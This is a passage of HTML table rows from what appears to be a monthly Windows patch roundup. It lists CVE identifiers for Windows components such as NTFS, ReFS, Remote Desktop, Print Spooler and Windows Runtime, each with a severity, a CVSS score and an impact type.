  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49184"><span>CVE-2026-49184</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49797"><span>CVE-2026-49797</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50308"><span>CVE-2026-50308</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50386"><span>CVE-2026-50386</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50309"><span>CVE-2026-50309</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50313"><span>CVE-2026-50313</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50388"><span>CVE-2026-50388</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50448"><span>CVE-2026-50448</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50471"><span>CVE-2026-50471</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50461"><span>CVE-2026-50461</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50417"><span>CVE-2026-50417</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50482"><span>CVE-2026-50482</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50494"><span>CVE-2026-50494</span></a></td>
  <td width="256" class="xl74">Windows NTFS Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50344"><span>CVE-2026-50344</span></a></td>
  <td width="256" class="xl74">Windows OLE Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50686"><span>CVE-2026-50686</span></a></td>
  <td width="256" class="xl74">Windows OLE Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50335"><span>CVE-2026-50335</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50317"><span>CVE-2026-50317</span></a></td>
  <td width="256" class="xl74">Windows Operating
  Systems Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54987"><span>CVE-2026-54987</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50435"><span>CVE-2026-50435</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50409"><span>CVE-2026-50409</span></a></td>
  <td width="256" class="xl74">Windows Overlay Filter
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40400"><span>CVE-2026-40400</span></a></td>
  <td width="256" class="xl74">Windows PowerShell
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49166"><span>CVE-2026-49166</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55004"><span>CVE-2026-55004</span></a></td>
  <td width="256" class="xl74">Windows Print
  Configuration Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50499"><span>CVE-2026-50499</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50383"><span>CVE-2026-50383</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57085"><span>CVE-2026-57085</span></a></td>
  <td width="256" class="xl74">Windows Print Spooler
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50469"><span>CVE-2026-50469</span></a></td>
  <td width="256" class="xl74">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50434"><span>CVE-2026-50434</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50339"><span>CVE-2026-50339</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50430"><span>CVE-2026-50430</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50334"><span>CVE-2026-50334</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44800"><span>CVE-2026-44800</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50363"><span>CVE-2026-50363</span></a></td>
  <td width="256" class="xl74">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50431"><span>CVE-2026-50431</span></a></td>
  <td width="256" class="xl74">Windows Quality of
  Service (QoS) Packet Scheduler Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50372"><span>CVE-2026-50372</span></a></td>
  <td width="256" class="xl74">Windows Redirected
  Drive Buffering System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50666"><span>CVE-2026-50666</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56647"><span>CVE-2026-56647</span></a></td>
  <td width="256" class="xl74">Windows Remote Access
  Service Infrastructure Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50330"><span>CVE-2026-50330</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50376"><span>CVE-2026-50376</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50504"><span>CVE-2026-50504</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58533"><span>CVE-2026-58533</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58535"><span>CVE-2026-58535</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58546"><span>CVE-2026-58546</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58539"><span>CVE-2026-58539</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Client Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55003"><span>CVE-2026-55003</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57979"><span>CVE-2026-57979</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50445"><span>CVE-2026-50445</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50497"><span>CVE-2026-50497</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54126"><span>CVE-2026-54126</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57982"><span>CVE-2026-57982</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50369"><span>CVE-2026-50369</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58626"><span>CVE-2026-58626</span></a></td>
  <td width="256" class="xl74">Windows Remote Desktop
  Services Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55014"><span>CVE-2026-55014</span></a></td>
  <td width="256" class="xl74">Windows Remote Help
  Defense Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50318"><span>CVE-2026-50318</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50407"><span>CVE-2026-50407</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50357"><span>CVE-2026-50357</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50441"><span>CVE-2026-50441</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50668"><span>CVE-2026-50668</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54109"><span>CVE-2026-54109</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49792"><span>CVE-2026-49792</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49793"><span>CVE-2026-49793</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50362"><span>CVE-2026-50362</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50492"><span>CVE-2026-50492</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50501"><span>CVE-2026-50501</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58530"><span>CVE-2026-58530</span></a></td>
  <td width="256" class="xl74">Windows Resilient File
  System (ReFS) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49791"><span>CVE-2026-49791</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50451"><span>CVE-2026-50451</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57096"><span>CVE-2026-57096</span></a></td>
  <td width="256" class="xl74">Windows Routing and
  Remote Access Service (RRAS) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50323"><span>CVE-2026-50323</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50452"><span>CVE-2026-50452</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50348"><span>CVE-2026-50348</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50345"><span>CVE-2026-50345</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50322"><span>CVE-2026-50322</span></a></td>
  <td width="256" class="xl74">Windows Runtime
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
